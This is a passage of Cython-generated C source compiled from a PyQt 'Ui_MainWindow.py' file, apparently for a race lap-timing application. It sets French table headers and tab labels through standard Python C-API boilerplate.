__Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1069 * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) * self.R_RaceLive_2.setSortingEnabled(False) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1069, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSortingEnabled); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1069, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__666, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1069, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1070 * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) * self.R_RaceLive_2.setSortingEnabled(False) * item = self.R_RaceLive_2.horizontalHeaderItem(2) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive_2.horizontalHeaderItem(3) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1070, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1070, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__667, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1070, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1071 * self.R_RaceLive_2.setSortingEnabled(False) * item = self.R_RaceLive_2.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1071, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__668, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1071, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1071, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1071, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1071, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1071, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1071, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1072 * item = self.R_RaceLive_2.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive_2.horizontalHeaderItem(3) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive_2.horizontalHeaderItem(4) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1072, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1072, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__669, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1072, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1073 * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive_2.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1073, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__670, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1073, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1073, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1073, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1073, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1073, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1073, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1074 * item = self.R_RaceLive_2.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive_2.horizontalHeaderItem(4) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive_2.horizontalHeaderItem(5) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1074, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1074, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__671, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1074, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1075 * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive_2.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1075, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__672, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1075, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1075, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1075, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1075, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1075, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1075, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1076 * item = self.R_RaceLive_2.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive_2.horizontalHeaderItem(5) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive_2.horizontalHeaderItem(6) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1076, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1076, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__673, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1076, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1077 * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive_2.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1077, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__674, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1077, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1077, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1077, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1077, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1077, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1077, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1078 * item = self.R_RaceLive_2.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive_2.horizontalHeaderItem(6) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1078, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1078, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__675, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1078, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1079 * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive_2.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) # <<<<<<<<<<<<<< * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1079, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__676, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1079, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1079, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1079, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1079, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1079, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1079, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1080 * item = self.R_RaceLive_2.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Laptime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_7) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_3}; __pyx_t_2 = 